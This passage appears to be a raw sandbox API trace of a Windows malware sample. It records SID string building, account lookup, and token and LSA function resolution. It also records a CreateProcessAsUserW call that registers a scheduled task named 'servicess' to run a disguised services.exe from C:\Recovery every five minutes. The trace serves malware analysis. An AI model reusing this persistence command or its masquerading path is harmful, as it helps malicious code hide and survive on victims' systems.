[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0147.176] malloc (_Size=0x18) returned 0x2af0e0 [0147.176] _ultow (in: _Dest=0x5, _Radix=14469392 | out: _Dest=0x5) returned="5" [0147.176] malloc (_Size=0x18) returned 0x2af0c0 [0147.176] malloc (_Size=0x18) returned 0x2aefc0 [0147.176] SysStringLen (param_1="S-1-") returned 0x4 [0147.176] SysStringLen (param_1="5") returned 0x1 [0147.177] memcpy (in: _Dst=0x157868, _Src=0x157898, _Size=0xa | out: _Dst=0x157868) returned 0x157868 [0147.177] memcpy (in: _Dst=0x157870, _Src=0x161d98, _Size=0x4 | out: _Dst=0x157870) returned 0x157870 [0147.177] free (_Block=0x2af0e0) [0147.177] free (_Block=0x2af0c0) [0147.177] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0147.177] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0147.177] _ultow (in: _Dest=0x15, _Radix=14469392 | out: _Dest=0x15) returned="21" [0147.177] malloc (_Size=0x18) returned 0x2af0c0 [0147.177] malloc (_Size=0x18) returned 0x2af0e0 [0147.177] SysStringLen (param_1="S-1-5") returned 0x5 [0147.177] SysStringLen (param_1="-") returned 0x1 [0147.177] memcpy (in: _Dst=0x161d98, _Src=0x157868, _Size=0xc | out: _Dst=0x161d98) returned 0x161d98 [0147.177] memcpy (in: _Dst=0x161da2, _Src=0x157898, _Size=0x4 | out: _Dst=0x161da2) returned 0x161da2 [0147.177] free (_Block=0x2aefc0) [0147.177] free (_Block=0x2af0c0) [0147.177] malloc (_Size=0x18) returned 0x2af0c0 [0147.177] malloc (_Size=0x18) returned 0x2aefc0 [0147.177] SysStringLen (param_1="S-1-5-") returned 0x6 [0147.177] SysStringLen (param_1="21") returned 0x2 [0147.177] memcpy (in: _Dst=0x157898, _Src=0x161d98, _Size=0xe | out: _Dst=0x157898) returned 0x157898 [0147.177] memcpy (in: _Dst=0x1578a4, _Src=0x157868, _Size=0x6 | out: _Dst=0x1578a4) returned 0x1578a4 [0147.177] free (_Block=0x2af0e0) [0147.177] free (_Block=0x2af0c0) [0147.178] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0147.178] _ultow (in: _Dest=0xfb7f942f, _Radix=14469392 | out: _Dest=0xfb7f942f) returned="4219442223" [0147.178] malloc (_Size=0x18) returned 0x2af0c0 [0147.178] malloc (_Size=0x18) returned 0x2af0e0 [0147.178] SysStringLen (param_1="S-1-5-21") returned 0x8 [0147.178] SysStringLen (param_1="-") returned 0x1 [0147.178] memcpy (in: _Dst=0x157868, _Src=0x157898, _Size=0x12 | out: _Dst=0x157868) returned 0x157868 [0147.178] memcpy (in: _Dst=0x157878, _Src=0x161d98, _Size=0x4 | out: _Dst=0x157878) returned 0x157878 [0147.178] free (_Block=0x2aefc0) [0147.178] free (_Block=0x2af0c0) [0147.178] malloc (_Size=0x18) returned 0x2af0c0 [0147.178] malloc (_Size=0x18) returned 0x2aefc0 [0147.178] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0147.178] SysStringLen (param_1="4219442223") returned 0xa [0147.178] memcpy (in: _Dst=0x117fe8, _Src=0x157868, _Size=0x14 | out: _Dst=0x117fe8) returned 0x117fe8 [0147.178] memcpy (in: _Dst=0x117ffa, _Src=0x157898, _Size=0x16 | out: _Dst=0x117ffa) returned 0x117ffa [0147.178] free (_Block=0x2af0e0) [0147.178] free (_Block=0x2af0c0) [0147.178] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0147.178] _ultow (in: _Dest=0xfbc24a41, _Radix=14469392 | out: _Dest=0xfbc24a41) returned="4223814209" [0147.178] malloc (_Size=0x18) returned 0x2af0c0 [0147.179] malloc (_Size=0x18) returned 0x2af0e0 [0147.179] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0147.179] SysStringLen (param_1="-") returned 0x1 [0147.179] memcpy (in: _Dst=0x117f48, _Src=0x117fe8, _Size=0x28 | out: _Dst=0x117f48) returned 0x117f48 [0147.179] memcpy (in: _Dst=0x117f6e, _Src=0x157868, _Size=0x4 | out: _Dst=0x117f6e) returned 0x117f6e [0147.179] free (_Block=0x2aefc0) [0147.179] free (_Block=0x2af0c0) [0147.179] malloc (_Size=0x18) returned 0x2af0c0 [0147.179] malloc (_Size=0x18) returned 0x2aefc0 [0147.179] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0147.179] SysStringLen (param_1="4223814209") returned 0xa [0147.179] memcpy (in: _Dst=0x13d588, _Src=0x117f48, _Size=0x2a | out: _Dst=0x13d588) returned 0x13d588 [0147.179] memcpy (in: _Dst=0x13d5b0, _Src=0x157868, _Size=0x16 | out: _Dst=0x13d5b0) returned 0x13d5b0 [0147.179] free (_Block=0x2af0e0) [0147.179] free (_Block=0x2af0c0) [0147.179] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0147.179] _ultow (in: _Dest=0xe49636b4, _Radix=14469392 | out: _Dest=0xe49636b4) returned="3835049652" [0147.179] malloc (_Size=0x18) returned 0x2af0c0 [0147.179] malloc (_Size=0x18) returned 0x2af0e0 [0147.179] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0147.179] SysStringLen (param_1="-") returned 0x1 [0147.180] memcpy (in: _Dst=0x13d528, _Src=0x13d588, _Size=0x3e | out: _Dst=0x13d528) returned 0x13d528 [0147.180] memcpy (in: _Dst=0x13d564, _Src=0x157868, _Size=0x4 | out: _Dst=0x13d564) returned 0x13d564 [0147.180] free (_Block=0x2aefc0) [0147.180] free (_Block=0x2af0c0) [0147.180] malloc (_Size=0x18) returned 0x2af0c0 [0147.180] malloc (_Size=0x18) returned 0x2aefc0 [0147.180] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0147.180] SysStringLen (param_1="3835049652") returned 0xa [0147.180] memcpy (in: _Dst=0x1602e8, _Src=0x13d528, _Size=0x40 | out: _Dst=0x1602e8) returned 0x1602e8 [0147.180] memcpy (in: _Dst=0x160326, _Src=0x157868, _Size=0x16 | out: _Dst=0x160326) returned 0x160326 [0147.180] free (_Block=0x2af0e0) [0147.180] free (_Block=0x2af0c0) [0147.180] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0147.180] _ultow (in: _Dest=0x3e8, _Radix=14469392 | out: _Dest=0x3e8) returned="1000" [0147.180] malloc (_Size=0x18) returned 0x2af0c0 [0147.180] malloc (_Size=0x18) returned 0x2af0e0 [0147.180] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0147.180] SysStringLen (param_1="-") returned 0x1 [0147.180] memcpy (in: _Dst=0x160358, _Src=0x1602e8, _Size=0x54 | out: _Dst=0x160358) returned 0x160358 [0147.180] memcpy (in: _Dst=0x1603aa, _Src=0x157868, _Size=0x4 | out: _Dst=0x1603aa) returned 0x1603aa [0147.181] free (_Block=0x2aefc0) [0147.181] free (_Block=0x2af0c0) [0147.181] malloc (_Size=0x18) returned 0x2af0c0 [0147.181] malloc (_Size=0x18) returned 0x2aefc0 [0147.181] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0147.181] SysStringLen (param_1="1000") returned 0x4 [0147.181] memcpy (in: _Dst=0xf6e08, _Src=0x160358, _Size=0x56 | out: _Dst=0xf6e08) returned 0xf6e08 [0147.181] memcpy (in: _Dst=0xf6e5c, _Src=0x157868, _Size=0xa | out: _Dst=0xf6e5c) returned 0xf6e5c [0147.181] free (_Block=0x2af0e0) [0147.181] free (_Block=0x2af0c0) [0147.181] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0147.181] malloc (_Size=0x5e) returned 0x2b08a0 [0147.181] free (_Block=0x2aefc0) [0147.181] malloc (_Size=0x18) returned 0x2aefc0 [0147.185] free (_Block=0x2b08a0) [0147.217] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xdcc9d4, ReferencedDomainName=0x0, cchReferencedDomainName=0xdcc9d0, peUse=0xdccad8 | out: Name=0x0, cchName=0xdcc9d4, ReferencedDomainName=0x0, cchReferencedDomainName=0xdcc9d0, peUse=0xdccad8) returned 0 [0147.218] GetLastError () returned 0x7a [0147.218] malloc (_Size=0x14) returned 0x2af0c0 [0147.218] malloc (_Size=0x16) returned 0x2af0e0 [0147.218] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af0c0, cchName=0xdcc9d4, ReferencedDomainName=0x2af0e0, cchReferencedDomainName=0xdcc9d0, peUse=0xdccad8 | out: Name="kEecfMwgj", cchName=0xdcc9d4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xdcc9d0, peUse=0xdccad8) returned 1 [0147.219] malloc (_Size=0x18) returned 0x2aefa0 [0147.219] malloc (_Size=0x18) returned 0x2aef80 [0147.219] free (_Block=0x2af0c0) [0147.219] free (_Block=0x2af0e0) [0147.219] free (_Block=0x2b0000) [0147.219] free (_Block=0x2aef80) [0147.219] free (_Block=0x2aefa0) [0147.219] free (_Block=0x2aefc0) [0147.220] free (_Block=0x2ae2e0) [0147.220] malloc (_Size=0x48) returned 0x2ad270 [0147.220] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0147.224] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0147.225] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0147.225] malloc (_Size=0x18) returned 0x2aefc0 [0147.225] CreateEnvironmentBlock () returned 0x1 [0147.230] memcpy (in: _Dst=0xdccc40, _Src=0xdcda10, _Size=0x68 | out: _Dst=0xdccc40) returned 0xdccc40 [0147.230] malloc (_Size=0x18) returned 0x2aefa0 [0147.230] CreateProcessAsUserW (in: hToken=0x234, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"servicess\" /sc MINUTE /mo 5 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x1758a0, lpCurrentDirectory=0x0, lpStartupInfo=0xdccc40*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xdccae0 | out: lpCommandLine="schtasks.exe /create /tn \"servicess\" /sc MINUTE /mo 5 /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\services.exe'\" /f", lpProcessInformation=0xdccae0*(hProcess=0x248, hThread=0x244, dwProcessId=0xc5c, dwThreadId=0xc4c)) returned 1 [0147.235] CloseHandle (hObject=0x248) returned 1 [0147.235] CloseHandle (hObject=0x244) returned 1 [0147.235] free (_Block=0x2aefa0) [0147.235] DestroyEnvironmentBlock () returned 0x1 [0147.235] malloc (_Size=0x48) returned 0x2ad220 [0147.235] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdcc958 | out: lpSystemTimeAsFileTime=0xdcc958*(dwLowDateTime=0x25ad69c0, dwHighDateTime=0x1d8a92a)) [0147.236] SetEvent (hEvent=0x1f0) returned 1 [0147.236] CloseHandle (hObject=0x2d4) returned 1 [0147.236] CloseHandle (hObject=0x234) returned 1 [0148.228] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0148.228] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xdce1f0 | out: pulNumLanguages=0xdce1f0) returned 1 [0148.228] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0149.099] SetLastError (dwErrCode=0x0) [0149.100] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xdce1f8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xdce100 | out: pulNumLanguages=0xdce1f8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xdce100) returned 1 [0149.100] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd900 [0149.100] SetLastError (dwErrCode=0x0) [0149.100] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xdce1f8, pwszLanguagesBuffer=0xfd900, pcchLanguagesBuffer=0xdce100 | out: pulNumLanguages=0xdce1f8, pwszLanguagesBuffer=0xfd900, pcchLanguagesBuffer=0xdce100) returned 1 [0149.100] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0149.100] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd900 | out: hHeap=0xc0000) returned 1 [0149.100] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f400 [0149.100] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f400, pulNumLanguages=0xdce1f8 | out: pulNumLanguages=0xdce1f8) returned 1 [0149.100] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f400 | out: hHeap=0xc0000) returned 1 [0149.102] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0149.103] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0149.103] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0149.103] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0149.103] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0149.103] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0149.103] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0149.105] memcpy (in: _Dst=0xdcda10, _Src=0xdcd990, _Size=0x68 | out: _Dst=0xdcda10) returned 0xdcda10 [0149.106] GetCurrentThread () returned 0xfffffffffffffffe [0149.106] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xdccb80 | out: TokenHandle=0xdccb80*=0x2ac) returned 1 [0149.106] malloc (_Size=0xd8) returned 0x2b90e0 [0149.106] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0149.106] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0149.107] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0149.107] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0149.107] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0149.107] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0149.107] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0149.107] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0149.107] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0149.108] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0149.108] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0149.108] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0149.108] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0149.108] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0149.108] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0149.109] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0149.109] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0149.109] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0149.109] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0149.109] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0149.109] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0149.109] malloc (_Size=0x18) returned 0x2af200 [0149.109] DuplicateTokenEx (in: hExistingToken=0x2ac, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xdccb88 | out: phNewToken=0xdccb88*=0x1ec) returned 1 [0149.110] malloc (_Size=0x48) returned 0x2ad680 [0149.110] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdcc958 | out: lpSystemTimeAsFileTime=0xdcc958*(dwLowDateTime=0x261887a0, dwHighDateTime=0x1d8a92a)) [0149.110] SetEvent (hEvent=0x1f0) returned 1 [0149.112] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xdccaa0 | out: TokenInformation=0x0, ReturnLength=0xdccaa0) returned 0 [0149.112] GetLastError () returned 0x7a [0149.112] malloc (_Size=0x2c) returned 0x2b8b10 [0149.112] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xdccaa0 | out: TokenInformation=0x2b8b10, ReturnLength=0xdccaa0) returned 1 [0149.112] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0149.112] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0149.112] malloc (_Size=0x1c) returned 0x2b8650 [0149.113] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b8650, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b8650*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0149.113] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0149.113] malloc (_Size=0x18) returned 0x2af200 [0149.113] _ultow (in: _Dest=0x5, _Radix=14469376 | out: _Dest=0x5) returned="5" [0149.113] malloc (_Size=0x18) returned 0x2af220 [0149.113] malloc (_Size=0x18) returned 0x2af240 [0149.113] SysStringLen (param_1="S-1-") returned 0x4 [0149.113] SysStringLen (param_1="5") returned 0x1 [0149.113] memcpy (in: _Dst=0x142368, _Src=0x161768, _Size=0xa | out: _Dst=0x142368) returned 0x142368 [0149.113] memcpy (in: _Dst=0x142370, _Src=0x161708, _Size=0x4 | out: _Dst=0x142370) returned 0x142370 [0149.113] free (_Block=0x2af200) [0149.113] free (_Block=0x2af220) [0149.113] GetSidSubAuthorityCount (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0149.113] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0149.113] _ultow (in: _Dest=0x15, _Radix=14469376 | out: _Dest=0x15) returned="21" [0149.113] malloc (_Size=0x18) returned 0x2af220 [0149.113] malloc (_Size=0x18) returned 0x2af200 [0149.114] SysStringLen (param_1="S-1-5") returned 0x5 [0149.114] SysStringLen (param_1="-") returned 0x1 [0149.114] memcpy (in: _Dst=0x161708, _Src=0x142368, _Size=0xc | out: _Dst=0x161708) returned 0x161708 [0149.114] memcpy (in: _Dst=0x161712, _Src=0x161768, _Size=0x4 | out: _Dst=0x161712) returned 0x161712 [0149.114] free (_Block=0x2af240) [0149.114] free (_Block=0x2af220) [0149.114] malloc (_Size=0x18) returned 0x2af220 [0149.114] malloc (_Size=0x18) returned 0x2af240 [0149.114] SysStringLen (param_1="S-1-5-") returned 0x6 [0149.114] SysStringLen (param_1="21") returned 0x2 [0149.114] memcpy (in: _Dst=0x161768, _Src=0x161708, _Size=0xe | out: _Dst=0x161768) returned 0x161768 [0149.114] memcpy (in: _Dst=0x161774, _Src=0x142368, _Size=0x6 | out: _Dst=0x161774) returned 0x161774 [0149.114] free (_Block=0x2af200) [0149.114] free (_Block=0x2af220) [0149.114] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b2c [0149.114] _ultow (in: _Dest=0xfb7f942f, _Radix=14469376 | out: _Dest=0xfb7f942f) returned="4219442223" [0149.114] malloc (_Size=0x18) returned 0x2af220 [0149.114] malloc (_Size=0x18) returned 0x2af200 [0149.114] SysStringLen (param_1="S-1-5-21") returned 0x8 [0149.115] SysStringLen (param_1="-") returned 0x1 [0149.115] memcpy (in: _Dst=0x142368, _Src=0x161768, _Size=0x12 | out: _Dst=0x142368) returned 0x142368 [0149.115] memcpy (in: _Dst=0x142378, _Src=0x161708, _Size=0x4 | out: _Dst=0x142378) returned 0x142378 [0149.115] free (_Block=0x2af240) [0149.115] free (_Block=0x2af220) [0149.115] malloc (_Size=0x18) returned 0x2af220 [0149.115] malloc (_Size=0x18) returned 0x2af240 [0149.115] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0149.115] SysStringLen (param_1="4219442223") returned 0xa [0149.115] memcpy (in: _Dst=0x1181c8, _Src=0x142368, _Size=0x14 | out: _Dst=0x1181c8) returned 0x1181c8 [0149.115] memcpy (in: _Dst=0x1181da, _Src=0x161768, _Size=0x16 | out: _Dst=0x1181da) returned 0x1181da [0149.115] free (_Block=0x2af200) [0149.115] free (_Block=0x2af220) [0149.115] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0149.115] _ultow (in: _Dest=0xfbc24a41, _Radix=14469376 | out: _Dest=0xfbc24a41) returned="4223814209" [0149.115] malloc (_Size=0x18) returned 0x2af220 [0149.116] malloc (_Size=0x18) returned 0x2af200 [0149.116] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0149.116] SysStringLen (param_1="-") returned 0x1 [0149.116] memcpy (in: _Dst=0x117ae8, _Src=0x1181c8, _Size=0x28 | out: _Dst=0x117ae8) returned 0x117ae8 [0149.116] memcpy (in: _Dst=0x117b0e, _Src=0x142368, _Size=0x4 | out: _Dst=0x117b0e) returned 0x117b0e [0149.116] free (_Block=0x2af240) [0149.116] free (_Block=0x2af220) [0149.116] malloc (_Size=0x18) returned 0x2af220 [0149.116] malloc (_Size=0x18) returned 0x2af240 [0149.116] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0149.116] SysStringLen (param_1="4223814209") returned 0xa [0149.116] memcpy (in: _Dst=0xf6e08, _Src=0x117ae8, _Size=0x2a | out: _Dst=0xf6e08) returned 0xf6e08 [0149.116] memcpy (in: _Dst=0xf6e30, _Src=0x142368, _Size=0x16 | out: _Dst=0xf6e30) returned 0xf6e30 [0149.116] free (_Block=0x2af200) [0149.116] free (_Block=0x2af220) [0149.116] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0149.116] _ultow (in: _Dest=0xe49636b4, _Radix=14469376 | out: _Dest=0xe49636b4) returned="3835049652" [0149.116] malloc (_Size=0x18) returned 0x2af220 [0149.117] malloc (_Size=0x18) returned 0x2af200 [0149.117] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0149.117] SysStringLen (param_1="-") returned 0x1 [0149.117] memcpy (in: _Dst=0xf6c88, _Src=0xf6e08, _Size=0x3e | out: _Dst=0xf6c88) returned 0xf6c88 [0149.117] memcpy (in: _Dst=0xf6cc4, _Src=0x142368, _Size=0x4 | out: _Dst=0xf6cc4) returned 0xf6cc4 [0149.117] free (_Block=0x2af240) [0149.117] free (_Block=0x2af220) [0149.117] malloc (_Size=0x18) returned 0x2af220 [0149.117] malloc (_Size=0x18) returned 0x2af240 [0149.117] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0149.117] SysStringLen (param_1="3835049652") returned 0xa [0149.117] memcpy (in: _Dst=0xf6e08, _Src=0xf6c88, _Size=0x40 | out: _Dst=0xf6e08) returned 0xf6e08 [0149.117] memcpy (in: _Dst=0xf6e46, _Src=0x142368, _Size=0x16 | out: _Dst=0xf6e46) returned 0xf6e46 [0149.117] free (_Block=0x2af200) [0149.117] free 